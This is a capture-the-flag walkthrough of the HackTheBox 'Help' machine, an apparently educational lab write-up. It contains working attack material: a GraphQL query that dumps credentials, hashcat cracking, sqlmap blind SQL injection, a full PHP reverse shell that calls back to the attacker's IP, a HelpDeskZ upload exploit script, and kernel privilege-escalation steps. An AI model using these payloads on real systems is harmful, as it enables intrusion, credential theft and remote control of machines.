HackTheBox Help Writeup
Explore the fundamentals of cybersecurity in the Help Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.10.121 help.htb
Script to add hosts automatically
1
2
3
ip="10.10.10.121"
domain="help.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV help.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HelpDeskZ and GraphQL Endpoint Discovery
Port Overview
- Port 80: Exposes a HelpDeskZ page in /support.
- Port 3000: Exposes a GraphQL endpoint.
Fuzzing GraphQL Endpoints
Using ffuf to fuzz the GraphQL endpoint:
1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/graphql.txt -u 'http://help.htb:3000/FUZZ' -X POST
Results:
graphql/schema.xml
[Status: 500, Size: 61]graphql
[Status: 500, Size: 61]graphql/schema.yaml
[Status: 500, Size: 61]graphql/schema.json
[Status: 500, Size: 61]graphql/console
[Status: 500, Size: 61]
For more detailed information on exploiting GraphQL endpoints, refer to: HackTricks - GraphQL
Listing All Tables
To list all available tables in the GraphQL schema:
http://help.htb:3000/graphql/console?query={__schema{types{name,fields{name}}}}
Extracting User Credentials
Retrieving specific user information (username and password):
http://help.htb:3000/graphql/console?query={user{username,password}}
Response:
1
2
3
4
5
6
7
8
{
"data": {
"user": {
"username": "helpme@helpme.com",
"password": "5d3c93182bb20f07b994a7f617e99cff"
}
}
}
Brute Force the Hash
Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 0 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Fuzzing Port 80 for Additional Endpoints
Using ffuf to fuzz for endpoints on port 80:
1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/big.txt -u 'http://help.htb/FUZZ' -X POST
HelpDeskZ Foothold
Repository: HelpDeskZ GitHub
Authenticated Exploit: Exploit 41200
This seems to be the intended exploit, as it requires the discovered email and password, though it takes more time.
- Create a new ticket at: http://help.htb/support/?v=submit_ticket
- Submit an image or text file as an attachment.
- Open the newly created ticket and inspect the attached file.
Copy the request in Burp Suite and send it to the repeater.
- The vulnerable endpoint should resemble:
1
/support/?v=view_tickets&action=ticket¶m[]=4
- The vulnerable endpoint should resemble:
Test the vulnerability by adding
and 1=1-- -
orand 1=2-- -
to the query.Use SQLMap to exploit the vulnerability:
- Edit the
re.req
file to include the full domain (http://help.htb
) in the GET request.
1
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch
Finded payload:
1 2 3 4 5 6
--- Parameter: param[] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 AND 6987=6987 ---
To dump the database, run:
1
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch --dump --threads 10
You will retrieve the SSH password.
1
ssh help@help.htb
- Edit the
Unauthenticated Exploit: Exploit 40300
While this may not be the intended method, it is easier to perform.
1
nc -lvnp 9001
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import hashlib
import time
import sys
import requests
print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')
if len(sys.argv) < 3:
print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
ext = fileName.split('.')[-1]
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
url = helpdeskzBaseUrl + md5hash + ext
response = requests.head(url)
if response.status_code == 200:
print("Found!")
print(url)
sys.exit(0)
print("Sorry, I did not find anything")
Submit a revshell.php
through the ticket submission functionality.
1
2
chmod +x upload
./upload http://help.htb/support/uploads/tickets/ revshell.php
1
cat /home/help/user.txt
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z
to background the shell, then run:
1
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
1
export TERM=xterm;
1
2
uname -a
cd /dev/shm
CVE-2017-16995
1
nano root.c
1
2
3
gcc root.c -o root
chmod +x root
./root
1
cat /root/root.txt
CVE-2017-5899
There are several alternatives for privilege escalation due to the outdated kernel on the system.
One that I haven’t tried but is likely to work is CVE-2021-22555.